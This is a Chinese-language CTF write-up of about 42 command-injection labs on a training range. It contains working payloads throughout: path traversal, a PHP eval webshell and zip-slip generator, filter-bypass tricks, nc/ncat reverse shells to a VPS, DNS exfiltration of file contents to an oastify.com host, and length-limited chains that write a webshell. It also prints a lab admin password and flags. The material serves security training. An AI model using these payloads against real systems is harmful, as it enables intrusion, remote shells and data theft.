好靶场技能树刷题笔记3

前言

这几天一边忙着ai,一边忙着别的事,今天抽空来刷一下题目,今天是6.24,刷的是好靶场的Web渗透测试工程师的OWASP Top10下的命令执行分支,前几天把SQL注入和XSS刷完了,也是刷完了才发现还是有很多没有了解的,所以才要不断的去学习,虽然ai很强大,自动化挖漏洞,但是传统手艺也不能丢弃不是,粗略看了一眼,一共42个靶场,还挺多

命令执行

命令执行是 RCE 的一种常见形式,但两者不完全等同

RCE (Remote Code Execution,远程代码执行) 是一个更大的范畴。只要攻击者能在目标机器上远程运行任意“代码/指令”,无论是系统命令、脚本代码还是二进制程序,都属于 RCE

命令执行 (Command Execution) 通常特指 操作系统命令注入,即让目标系统执行如 whoamilscat /etc/passwd 这样的系统命令。因为这也实现了远程执行攻击者想要的指令,所以它被归为 RCE 的一种

命令执行Demo

基础知识:最好知道一些常见的windows和linux命令,不用知道太多,够用就行,不知道或者忘记了再搜索就是,命令这东西不是死记硬背的,有那时间多敲几遍就知道了

开靶场

直接执行的命令,所以我们直接执行查看文件的命令即可,flag默认在/tmp/flag.txt目录下

静态网站怎么打

开启靶场后没发现什么东西,然后提示我们找管理员后台

扫描一下目录,发现一共admin/login.php目录,打开看一下

简单跑一下弱口令,没出,直接上爆破,没结果,回到首页

发现关于页面传了一个about,感觉是文件包含,尝试包含flag

../../../../tmp/flag.txt

返回了404,说明这的确是存在文件包含,但是方式不对,尝试双写绕过

....//....//....//....//tmp//flag.txt

还是404,尝试00截断

....//....//....//....//tmp//flag.txt%00

成功绕过,成功读取到flag

这就成功夺旗了

flag{2f7e81e7b8344c3ab147b611735b9be4}

当然命令执行的题目肯定不是这样去解,尝试读取一下密码文件

....//....//....//....//etc//passwd%00

靶场出问题了,直接无法访问了,重新开了一遍,现在可以看到密码是

haobachang666:xmcve2018

成功进入后台,查看一下各个功能点

找到一共插件上传的功能点,并且要求是zip格式,我们写一个webshell,然后压缩成zip上传看看

是非常正常的eval代码

<?php eval($_POST['x']); ?>

这都检测,不过之前看系统设置里面有个防火墙功能是开启的,我们直接给它关闭然后再上传,发现还是不行,回头看了一下wp,发现用的是python写的代码

import zipfile

php = '''<?php echo file_get_contents("/tmp/flag.txt");?>'''

with zipfile.ZipFile("1.zip", "w", zipfile.ZIP_DEFLATED) as z:
 z.writestr("../get_flag.php", php)

这样创建的文件名就是../get_flag.php并且写入1.zip中,然后你直接用资源管理器打开会发现啥都没有,用7zip解压才会出现get_flag.php,还是很有意思的,而且解压出来就是在当前目录下,而不是1这个文件夹里面,因为windows无法解析../这样的文件名,你正常新建一个文件,修改成这样的特殊名字,会提示你不支持特殊字符,所以你才无法直接看到

至于为什么这样能绕过恶意代码的检测,实测下来并不是方法的问题,而是eval被过滤了,我正常写入一个上面的读取代码的php脚本,然后压缩上传

所以他(wp作者)才会用python去创建../get_flag.php的文件名,不过他没直接写,差点误导人了,还以为这样可以绕waf,原来只是他的php代码里面没有eval,而他写这个python的目的也不是为了绕过waf,而是为了绕过目录权限的限制,然后上传用python生成的压缩包

直接访问

mv命令执行

既然是mv命令,那就直接将flag移动到web目录下,然后直接访问即可

mv /tmp/flag.txt /var/www/html

/var/www/html是linux默认的web目录,当然实际情况可能有时候会不同

cp命令执行

这些命令具体什么意思,什么用法我就不多说了,开靶场就能直接看到

cp /tmp/flag.txt /var/www/html

uniq命令执行

uniq 命令用于去除文本中的重复行,只保留唯一的内容。基本用法为 uniq filename,通常与 sort 命令结合使用以确保相邻重复行能被识别和移除。 在安全测试中,uniq 可能被用作替代 cat、head 等命令,帮助攻击者整理和查看文件中的唯一信息

这个我也用的少,学到了

uniq /tmp/flag.txt

sort命令执行

sort 命令用于对文本内容进行排序,使输出内容按照特定规则有序排列。基本用法为 sort filename,可以将文件内容按行排序输出。 在安全测试中,如果 cat、head 等命令被过滤,攻击者可能使用 sort 命令来读取并间接查看文件内容

sort /tmp/flag.txt

nl命令执行

nl 命令用于为文件中的每一行加上行号,输出时更加清晰有序。基本用法为 nl filename,可以看到每一行前面都有编号。 在安全测试中,nl 一些过滤只限制 cat、head 等命令的场景下,攻击者可能绕过过滤用 nl 来查看敏感文件内容

nl /tmp/flag.txt

less命令执行

less 是一个高级文件分页查看命令,与 more 类似,但功能更强大。使用 less /etc/passwd 可以高效阅读大文件,支持向上和向下翻页(用上下箭头或 PageUp/PageDown),按 q 退出。less 支持内容搜索(使用 / 输入关键词)和更灵活的滚动方式。 在安全实践中,攻击者有时会通过 less 去查看敏感文件,因为它比 more 更易于浏览和查找关键信息,有些过滤措施可能只防住了 cat or more 指令,却忽略了 less

less /tmp/flag.txt

more命令执行

more 是另外一个常用的文件查看命令,可以分页浏览内容。当文件内容太长时,使用 more /etc/passwd 可以一页一页地查看,非常适合阅读大文件。按下空格可以翻到下一页,按下 q 可以退出查看。 在安全实践中,tail 常用来快速检查日志或文件最新内容,而 more 则常用于较长文件的内容查看和浏览。攻击者有时会通过 tail 或 more 来读取敏感文件,以绕过某些读取限制

more /tmp/flag.txt

tail命令执行

tail 是 Linux 下用于查看文件末尾内容的命令,默认显示最后 10 行。比如:tail /etc/passwd 会输出文件的最后 10 行。 在安全实践中,tail 可以用来快速检查日志的最新内容,或者读取大文件的末端。攻击者有时会用 tail 来获取敏感文件的结尾信息,以绕过对部分内容的读取限制

tail /tmp/flag.txt

head命令执行

和tail相反

head 是 Linux 下用于查看文件开头内容的命令,默认显示前 10 行。比如:head /etc/passwd 会输出文件的前 10 行。 在安全实践中,head 可以用来快速检查大文件的一部分,或者绕过对某些命令(如 cat)的限制。攻击者有时会用 head 来读取敏感文件的开头内容

head /tmp/flag.txt

tac命令执行

tac 是 Linux 下的一个有趣命令。它和 cat 类似,但会将文件内容的每一行倒序输出,最后一行会显示在第一行。比如:tac /tmp/flag.txt 有时候如果服务不允许 cat 命令,攻击者会尝试用 tac,因为 tac 实际上也可以读取文件内容,常用于绕过对 cat 命令的限制

tac /tmp/flag.txt

cat命令执行

cat 是 Linux 下一个常用的命令,用于查看文件内容

cat /tmp/flag.txt

命令执行漏洞体验

打开靶场,是ping命令

直接用分号试试

x;cat /tmp/flag.txt

为什么用x,因为有很多靶场的ping会ping 4下,而直接用x,解析不了直接报错,从而不用等待

命令执行漏洞,我过滤了;符号,你还有其他的办法吗

命令执行的方式有很多,过滤了;还有管道符之类的

x|cat /tmp/flag.txt

运维系统命令执行

开靶场访问

就一个ping能用,其他全在开发中

x;cat /tmp/flag.txt

dd命令执行

dd 命令用于按块读取和写入数据,是复制文件、备份分区以及制作镜像文件的常用工具。 例如,dd if=input.txt of=output.txt bs=1M 会以 1MB 大小的块,从 input.txt 读取数据并写入到 output.txt dd 功能强大但也容易误操作,请使用时务必小心,避免覆盖重要文件或分区

dd if=/tmp/flag.txt of=/var/www/html/1.txt

通配符*

在命令行工具中,通配符 * 用于匹配任意长度的任意字符。例如,ls *.txt 可以匹配所有以 .txt 结尾的文件,比如 a.txttest.txtexample.txt 等。 通配符 * 是文件查找和批量操作中最常用的匹配符,非常适合灵活筛选目标文件

cat /tmp/flag.txt

发现有过滤,尝试了一下其他的命令,也不行,估计是过滤了关键词,使用反斜杠绕过

c\at /tmp/flag.txt

通配符?

在命令行工具中,通配符 ? 用于匹配任意单个字符。例如,ls f?o.txt 可以匹配 foo.txtfao.txtf1o.txt 等以 “f” 开头、“o.txt” 结尾,且中间只有一个字符的文件。 通配符 ? 常和 *(匹配任意长度的任意字符)一起在文件查找、批量操作中使用,非常适合灵活筛选目标文件

c\at /tmp/flag.txt

还是进行了过滤,反斜杠绕过

ncat命令执行

ncat 是 nc(netcat)的进阶版本,由 Nmap 项目开发,常用于端口扫描、网络连接测试、端口监听和数据传输等操作。 常见用法包括:ncat 主机名 端口号(连接远程端口),ncat -l 端口号(监听本地端口),也可与重定向结合实现文件传输等功能。 在安全测试和运维场景中,ncat 常被用于反弹 shell、文件传送、简单聊天或后门通信等,被称为“网络瑞士军刀”的现代替代品

靶机:ncat -nv ip 端口 -e /bin/bash
vps:nc -lvnp 端口 

nc命令执行

nc(netcat)是一款功能强大的网络工具,常用于在命令行下进行端口扫描、网络连接测试、端口监听、数据传输等操作。 常见用法包括:nc 主机名 端口号(连接远程端口),nc -l -p 端口号(监听本地端口),以及配合重定向进行文件传输等。 在安全测试与运维中,nc 常被用于反弹 shell、传送文件、简单的聊天或后门通信等多种场景,被誉为“网络瑞士军刀”

nc vps 端口 -e /bin/bash
nc -lvnp 端口

curl命令执行

curl 命令用于在命令行下与服务器进行数据传输。它支持 HTTP、HTTPS、FTP 等多种协议,常见用法包括 curl URL(获取页面内容),以及 curl -o 保存路径 URL(将下载内容保存为指定文件)。 在日常运维和渗透测试中,curl 常用于接口测试、抓取数据、下载文件、模拟请求等,是网络调试和数据交互的常用工具之一

curl http://baidu.com;c\at /tmp/flag.txt

wget命令执行

wget 命令用于从网络下载文件。它可以通过 HTTP、HTTPS 以及 FTP 等协议获取资源,常见用法包括 wget URL(下载指定链接的文件),以及 wget -O 保存路径 URL(将文件保存为指定名称)。 在日常运维和渗透测试中,wget 常用于拉取工具、备份文件、下载公开资产等操作,是网络资源抓取和文件搬运的常用工具之一

wget http://baidu.com;c\at /tmp/flag.txt

find命令执行

find 命令用于在目录层次结构中查找文件和目录。它支持按文件名、类型、修改时间、权限等多种条件筛选。基本用法如 find 路径 -name 文件名(在指定路径中查找匹配的文件)。 在运维和安全中,find 可以用来检索特定文件、批量操作文件、查找可疑文件或目录等,是日常管理和渗透测试常用的文件查找工具

find /tmp -name flag.txt;c\at /tmp/flag.txt

grep命令执行

grep 命令用于在文本中查找符合特定模式的字符串。它是 Linux 下最常用的文本搜索工具,基本用法如 grep 关键词 文件名(在文件中查找包含关键词的行)。 在安全测试和日志分析中,grep 能快速定位敏感信息、异常行为、特定日志记录等内容,对于排查问题和数据挖掘非常高效

grep flag /tmp/flag.txt

base64命令执行

base64 命令用于对数据进行 Base64 编码或解码。它常用于将二进制数据以 ASCII 字符形式安全传输,例如用于邮件、URL、或在网络请求中避免特殊字符的问题。基本用法如 base64 filename(对文件内容做 Base64 编码)或 base64 -d filename(对 Base64 格式数据解码)。 在安全测试中,base64 可用于对敏感信息编码隐藏,或对可疑编码内容解码分析,有助于探查隐藏数据与数据传输方式

base64 /tmp/flag.txt

base64在线解码网站解码一下就行

base32命令执行

base32 命令用于对数据进行 Base32 编码或解码。它常用于需要对二进制数据进行可打印字符编码传输时的场景,例如在邮件或 URL 传输中避免特殊字符问题。基本用法如 base32 filename(对文件内容做 Base32 编码)或 base32 -d filename(对 Base32 格式数据解码)。 在安全测试中,base32 可用于对敏感信息进行编码隐藏,或者对可疑编码内容进行解码分析,有助于探查隐藏数据或数据传输方式

base32 /tmp/flag.txt

还是一样,在线网站解码一下即可

xxd命令执行

xxd 命令用于以十六进制和 ASCII 格式显示文件内容,常用于分析二进制文件和调试。基本用法为 xxd filename,还可以通过参数自定义输出格式,如 -c(每行字节数)、-p(纯十六进制输出)等。 在安全测试中,xxd 可以帮助读取和分析敏感文件的原始数据,便于发现隐藏信息或规避简单的读取限制

xxd /tmp/flag.txt

三段拼到一起即可

hexdump命令执行

hexdump 命令用于以十六进制和 ASCII 格式显示文件的内容,常见于分析二进制文件和调试数据。基本用法为 hexdump filename,常用参数如 -C(以十六进制和 ASCII 的组合视图输出),-n(限制读取字节数)等。 在安全测试中,hexdump 可以协助读取和分析敏感文件的原始数据,便于揭示隐藏的信息或理解二进制数据结构

hexdump /tmp/flag.txt

结果

0000000 6c66 6761 387b 3838 6236 3464 3364 3839
0000010 3437 3635 3866 6630 3466 6136 3537 3239
0000020 3635 3434 7d34 000a                    
0000027

前面的0000xx不是,后面每4个一组的才是数据,然后交换字节对(因为小端序低字节在前)

666c 6167 7b38 3838 3662 6434 6433 3938
3734 3536 6638 3066 6634 3661 3735 3932
3536 3434 347d 0a00

然后就可以使用在线hex解码工具解码了

如果你嫌手动交换字节位可以直接丢给ai,让他交换或者直接解码

od命令执行

od 命令用于以多种格式(如八进制、十六进制、十进制或 ASCII 字符)显示文件内容的二进制数据。基本用法为 od filename,还可以使用 -c-x 等参数自定义输出格式。 在安全测试中,od 可用于读取敏感文件的原始内容,以绕过一些文本读取命令的限制,或者辅助分析文件结构和内容

od /tmp/flag.txt

这个是8进制数据,我就不再去麻烦了,知道意思就行,直接读取原数据

od /tmp/flag.txt;c\at /tmp/flag.txt

strings命令执行

strings 命令用于从二进制文件中提取可打印的字符串。它常用于获取文件中的文本内容,尤其在逆向分析和排查可疑文件时非常有用。基本用法如 strings filename(显示文件中的可打印字符串)。 在安全测试和取证分析中,strings 可帮助发现隐藏的配置信息、密码、注释等敏感数据,辅助分析恶意软件或未知二进制内容

strings /tmp/flag.txt

你的空格被我拦截了

空格过滤直接使用${IFS}

x|cat${IFS}/tmp/flag.txt

看我拦截掉你的关键字

看看具体拦截的是什么

x|c\a\t /tmp/flag.txt

拦截了cat我想到了,没想到at也拦截,只能多加一个反斜杠了

命令执行漏洞盲打

这里有服务器直接用服务器,没服务器可以直接使用burpsuite自带的Collaborator

地址:

6x4pywvcu3q9237qfcntbps0argi48sx.oastify.com

payload:

x | nslookup $(cat /tmp/flag.txt | base64 -w0 | head -c 50).6x4pywvcu3q9237qfcntbps0argi48sx.oastify.com

因为这题之前有个朋友来请教过我,所以我知道没有过滤空格,base64解码一下前面的数据,结果发现太长不完整,又重新获取了一遍

x | nslookup $(cat /tmp/flag.txt | base64 -w0 | head -c 100).6x4pywvcu3q9237qfcntbps0argi48sx.oastify.com

解释一下这个命令

x | nslookup $(cat /tmp/flag.txt | base64 -w0 | head -c 100).6x4pywvcu3q9237qfcntbps0argi48sx.oastify.com

x -> 无法解析 不进行ping操作
nslookup 查询DNS解析结果
$(cat /tmp/flag.txt | base64 -w0 | head -c 100) 获取flag、编码、读取前100个字符
6x4pywvcu3q9237qfcntbps0argi48sx.oastify.com burpsuite的Collaborator

不过dns的单个标签长度不得大于63个字符,总域名长度不得大于253个字符,所以上面head -c 100最多只能取到63个

关键字,单引号,双引号都不让你用了

关键词用反斜杠,单引号和双引号好像也没用上吧,嘻嘻

x|c\a\t /tmp/flag.txt

直接过

只允许你输入7个字符,你还能执行你想要的命令吗

只允许7个字符啊

第一次碰上,学习学习

1.linux中的重定向符

>1 向文件1中覆盖写入
>2 向文件2中覆盖写入
>>3 向文件3中追加写入
可以在前面执行任意命令,命令的结果会被写入文件
ls>4
cat 4 输出 1 2 3

实际执行
ubuntu@VM-0-17-ubuntu:~/test$ ls
ubuntu@VM-0-17-ubuntu:~/test$ >1
ubuntu@VM-0-17-ubuntu:~/test$ >2
ubuntu@VM-0-17-ubuntu:~/test$ >>3
ubuntu@VM-0-17-ubuntu:~/test$ ls>4
ubuntu@VM-0-17-ubuntu:~/test$ cat 4
1
2
3
4
ubuntu@VM-0-17-ubuntu:~/test$ ls
1  2  3  4

2.linux中的sh

sh 文件名 -> 将文件内容当作命令执行
echo 'cat 2.txt' > 1.txt
echo 'yyds' > 2.txt
sh 1.txt

实际执行
ubuntu@VM-0-17-ubuntu:~/test$ echo 'cat 2.txt' > 1.txt
ubuntu@VM-0-17-ubuntu:~/test$ echo 'yyds' > 2.txt
ubuntu@VM-0-17-ubuntu:~/test$ sh 1.txt
yyds

3.ls [选项] [目录名]

linux中ls默认按照字母顺序排序
-t参数以文件修改时间排序,新创建的文件在前面
-h参数以易读的方式显示文件或目录大小,如 1KB、234MB、2GB 等
-h参数主要的作用是调整-t参数位置

4.星号(*)

linux中*可作为通配符使用
在直接输入*后,linux会将该目录下第一个文件名作为命令
剩下的的文件名当作参数

5.反斜杠(\)

linux中,执行命令时,可以在没有写完的命令后面加\
实现将一条命令多行化,以行末没有\为终止

结合

>d\ \>b
>4\ -\
>se6\
>ba\
>w==\|\
>HQ+Y\
>Zy50e\
>vZmxh\
>90bXA\
>2F0IC\
>o\ Y\
>ech\
ls -t>a
sh a
sh b
cat c

使用重定向创建文件
ls -t>a 将上面的文件名按创建时间排序写入
也就是
ech\o\ Y\2F0IC\90bXA\vZmxh\Zy50e\HQ+Y\w==\|\ba\se6\4\ -\d\ \>b
去掉\易读
echo Y2F0IC90bXAvZmxhZy50eHQ+Yw==|base64 -d >b
将上面这个base64的数据解码后写入文件b
此时文件b的内容为:cat /tmp/flag.txt>c
sh b的结果就是将flag写入到c文件
最后读取c文件即可
cat c

哦豁,你不能输入字母了

那就是说只能输入数字和特殊字符了,在 Bash shell 中,$’…’ 是一种特殊的字符串表示形式,主要作用是解析字符串中的转义序列(如八进制、十六进制、特殊字符等),将其转换为对应的实际字符

所以我们可以使用它来构造命令,先用在线字符串转8进制网站获取正常数据的对应八进制

cat \143\141\164
/tmp/flag.txt \057\164\155\160\057\146\154\141\147\056\164\170\164

完整payload

$'\143\141\164' $'\057\164\155\160\057\146\154\141\147\056\164\170\164'

数字0的奇迹

开靶场看看

这题我是看着wp解的,因为我也搞不懂什么意思,看了wp才懂

应用了source 命令和‘|’的结合,.source 的简写,所以执行以下命令

. /tmp/flag.txt|0

实际上是读取并执行这个文件里的内容,不管它是不是命令,都会将它的输出传入右边的0,但是右边的0不是个命令,所以报错,但是左边的能够正常执行,然后使用?来匹配

. /???/????.???|0

只允许你输入5个字符,你还能执行你想要的命令吗

这一题和前面唯一不同的就是ls -t>a这个命令,因为这个命令长度不管怎么想都超过了5,如果要想将结果写入a,就必须去掉-t,那么就只能根据ls的排序规则来创建文件,ls命令排序的规则是空格和符号最前,数字其次,字母最后

我也是直接看的wp

>l\\

>s\\

>\ \\

>\>0

>-t\\

ls>a

ls>>a

>hp

>p\\

>1.\\

>\>\\

>-d\\

>\ \\

>64\\

>se\\

>ba\\

>\|\\

>k7\\

>XS\\

>sx\\

>VF\\

>dF\\

>X0\\

>gk\\

>bC\\

>Zh\\

>ZX\\

>Ag\\

>aH\\

>9w\\

>PD\\

>S}\\

>IF\\

>{\\

>\$\\

>ho\\

>ec\\

sh a

sh 0

前一段,生成的文件名

 \
-t\
>0
l\
s\

写入后a后没有用,但是再写入一遍,就可以让前一次写入的ls和后面的拼接,从而达成如下效果

ls -t &gt;0

然后就是正常生成倒着的数据,执行a就会将数据写入0,然后执行0就会执行base64数据的命令

echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
<?php eval($_GET[1]);

然后访问1.php就可以执行命令读取文件了

1=system('cat /tmp/flag.txt')

原理还是很好理解的,但是复现巨麻烦,400多个人看过的wp,只有不到30个人通关,纯折磨,用burpsuite会因为顺序不对复现失败,手动复现,我试了三遍,第一遍复现到最后几个直接靶场崩了,第二遍复现了但是文件创建失败,第三遍成功复现

无字母无数字

无字母无数字,那就只能是字符喽,突然灵光一闪,让我想到一个payload,就是前面的数字0的奇迹,反正只需要让后面报错,管他用什么,只要不是个命令就行,结果还真行

. /???/????.???|=

然后看了一下wp,发现这题甚至不需要后面的管道符和第二个命令,可以直接获取

. /???/????.???

无字母无数字2

payload上面就是

. /???/????.???

只允许你输入4个字符,你还能执行你想要的命令吗

这一题前面有个7字符和5字符的,理解了之后再来看这个

wp:

http://hbc.haobachang.com/sub?id=1025

原理:

1、最重要的思路依旧和前面7字符和5字符的思路一样,但是四字符限制,这里利用*,rev,dir,等符号,将内容反序写入,然后在翻转过来;

2.依旧是想办法先写入ls -t>命令;

3.能够写入后,在vps上写入一个恶意脚本;

4.然后在被攻击者的机器上执行;

5.还有个思路就是和7字符5字符一样,将命令写入文件中去,然后在执行。

payload自己看着wp改,只需要改为自己的vps的地址即可

吐槽

就5字符和4字符限制的两个题目比较恶心外其他的都还是比较简单的,一共42题,耗时5个半小时

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇